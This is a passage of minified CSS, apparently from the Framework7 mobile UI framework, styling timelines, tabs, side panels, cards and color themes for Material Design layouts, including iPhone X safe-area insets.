.timeline-item-inner{border-radius:2px;padding:8px 16px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .timeline-item-inner+.timeline-item-inner{margin-top:16px}.md .timeline-item-divider{margin-left:16px;margin-right:16px}.md .timeline-item-time{margin-top:16px;color:rgba(0,0,0,.54)}.md .timeline-item-time:first-child{margin-top:0}.md .timeline-item-title{font-size:16px}.md .timeline-sides .timeline-item{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item .timeline-item-date{text-align:left}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.md .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item-left .timeline-item-date{text-align:right}.md .timeline-sides .timeline-item-right{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item-right .timeline-item-date{text-align:left}@media (min-width:768px){.md .tablet-sides .timeline-item{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item .timeline-item-date{text-align:left}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.md .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item-left .timeline-item-date{text-align:right}.md .tablet-sides .timeline-item-right{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item-right .timeline-item-date{text-align:left}}.md .timeline-horizontal{padding:0;margin:0;position:relative}.md .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:12px}.md .timeline-horizontal .timeline-item-date{background:#2196f3;padding:0 12px;color:#fff}.md .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .timeline-horizontal .timeline-item-content{padding:12px;height:calc(100% - 12px)}.md .timeline-horizontal.no-shadow .timeline-item-date:after{display:none}.md .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.md .timeline-horizontal .timeline-item:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .timeline-month-title,.md .timeline-year-title{padding:0 12px;color:#fff;background:#2196f3}.md .timeline-month-title span,.md .timeline-year-title span{right:12px}.md .timeline-year-title span{margin-top:2px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(12px + constant(safe-area-inset-left));left:calc(12px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(12px + constant(safe-area-inset-left));padding-left:calc(12px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.md .theme-dark .timeline-item-inner{background-color:rgba(255,255,255,.03)}.md .theme-dark .timeline-item-time{color:rgba(255,255,255,.54)}.md .color-theme-red .timeline-item-date,.md .color-theme-red .timeline-month-title,.md .color-theme-red .timeline-year-title{background:#f44336}.md .color-theme-green .timeline-item-date,.md .color-theme-green .timeline-month-title,.md .color-theme-green .timeline-year-title{background:#4caf50}.md .color-theme-blue .timeline-item-date,.md .color-theme-blue .timeline-month-title,.md .color-theme-blue .timeline-year-title{background:#2196f3}.md .color-theme-pink .timeline-item-date,.md .color-theme-pink .timeline-month-title,.md .color-theme-pink .timeline-year-title{background:#e91e63}.md .color-theme-yellow .timeline-item-date,.md .color-theme-yellow .timeline-month-title,.md .color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .color-theme-orange .timeline-item-date,.md .color-theme-orange .timeline-month-title,.md .color-theme-orange .timeline-year-title{background:#ff9800}.md .color-theme-gray .timeline-item-date,.md .color-theme-gray .timeline-month-title,.md .color-theme-gray .timeline-year-title{background:#9e9e9e}.md .color-theme-white .timeline-item-date,.md .color-theme-white .timeline-month-title,.md .color-theme-white .timeline-year-title{background:#fff}.md .color-theme-black .timeline-item-date,.md .color-theme-black .timeline-month-title,.md .color-theme-black .timeline-year-title{background:#000}.md .timeline.color-theme-red .timeline-item-date,.md .timeline.color-theme-red .timeline-month-title,.md .timeline.color-theme-red .timeline-year-title{background:#f44336}.md .timeline.color-theme-green .timeline-item-date,.md .timeline.color-theme-green .timeline-month-title,.md .timeline.color-theme-green .timeline-year-title{background:#4caf50}.md .timeline.color-theme-blue .timeline-item-date,.md .timeline.color-theme-blue .timeline-month-title,.md .timeline.color-theme-blue .timeline-year-title{background:#2196f3}.md .timeline.color-theme-pink .timeline-item-date,.md .timeline.color-theme-pink .timeline-month-title,.md .timeline.color-theme-pink .timeline-year-title{background:#e91e63}.md .timeline.color-theme-yellow .timeline-item-date,.md .timeline.color-theme-yellow .timeline-month-title,.md .timeline.color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .timeline.color-theme-orange .timeline-item-date,.md .timeline.color-theme-orange .timeline-month-title,.md .timeline.color-theme-orange .timeline-year-title{background:#ff9800}.md .timeline.color-theme-gray .timeline-item-date,.md .timeline.color-theme-gray .timeline-month-title,.md .timeline.color-theme-gray .timeline-year-title{background:#9e9e9e}.md .timeline.color-theme-white .timeline-item-date,.md .timeline.color-theme-white .timeline-month-title,.md .timeline.color-theme-white .timeline-year-title{background:#fff}.md .timeline.color-theme-black .timeline-item-date,.md .timeline.color-theme-black .timeline-month-title,.md .timeline.color-theme-black .timeline-year-title{background:#000}.tabs .tab{display:none}.tabs .tab-active{display:block}.tabs-animated-wrap{position:relative;width:100%;overflow:hidden;height:100%}.tabs-animated-wrap>.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:100%;-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-animated-wrap>.tabs>.tab{width:100%;display:block;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.tabs-animated-wrap.not-animated>.tabs{-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-swipeable-wrap{height:100%}.tabs-swipeable-wrap>.tabs{height:100%}.tabs-swipeable-wrap>.tabs>.tab{display:block}.page>.tabs{height:100%}.panel-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;opacity:0;z-index:5999;display:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.panel-backdrop.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel{z-index:1000;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;overflow:auto;-webkit-overflow-scrolling:touch;top:0;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);width:260px;background-color:#fff}.panel.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel.panel-reveal.not-animated~.view,.panel.panel-reveal.not-animated~.views{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel-cover{z-index:6000}.panel-left{left:0}.panel-left.panel-cover{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.panel-right{right:0}.panel-right.panel-cover{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.panel-visible-by-breakpoint{display:block;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important}.panel-visible-by-breakpoint.panel-cover{z-index:5900}html.with-panel .framework7-root>.view .page-content,html.with-panel .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}html.with-panel-left-cover .panel-backdrop,html.with-panel-right-cover .panel-backdrop{display:block;opacity:1}html.with-panel-left-reveal .panel-backdrop,html.with-panel-right-reveal .panel-backdrop,html.with-panel-transitioning .panel-backdrop{background:rgba(0,0,0,0);display:block;opacity:0}html.with-panel-left-reveal .framework7-root>.view,html.with-panel-left-reveal .panel-backdrop,html.with-panel-left-reveal .views{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}html.with-panel-right-reveal .framework7-root>.view,html.with-panel-right-reveal .panel-backdrop,html.with-panel-right-reveal .views{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}html.with-panel-left-cover .panel-left{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-panel-right-cover .panel-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-statusbar.device-ios .panel,html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel{top:20px;height:calc(100% - 20px)}html.with-statusbar.device-android .panel,html.with-statusbar.md:not(.device-ios):not(.device-android) .panel{top:24px;height:calc(100% - 24px)}html.with-statusbar.device-iphone-x .panel{top:constant(safe-area-inset-top);top:env(safe-area-inset-top);height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top))}.md .panel-backdrop{-webkit-transition-duration:.3s;transition-duration:.3s;background:rgba(0,0,0,.2)}.md .panel{-webkit-transition-duration:.3s;transition-duration:.3s}.md .panel-visible{display:block}.md .panel-visible-by-breakpoint{-webkit-box-shadow:none;box-shadow:none}.md.with-panel-left-cover .panel-cover,.md.with-panel-right-cover .panel-cover{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views,.md.with-panel-transitioning .framework7-root>.view,.md.with-panel-transitioning .views{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform,-webkit-box-shadow;transition-property:-webkit-transform,-webkit-box-shadow;transition-property:transform,box-shadow;transition-property:transform,box-shadow,-webkit-transform,-webkit-box-shadow}.card .list>ul:before,.cards-list>ul:before{display:none!important}.card .list>ul:after,.cards-list>ul:after{display:none!important}.card{background:#fff;position:relative;border-radius:4px;font-size:14px}.card .block,.card .list{margin:0}.row:not(.no-gap) 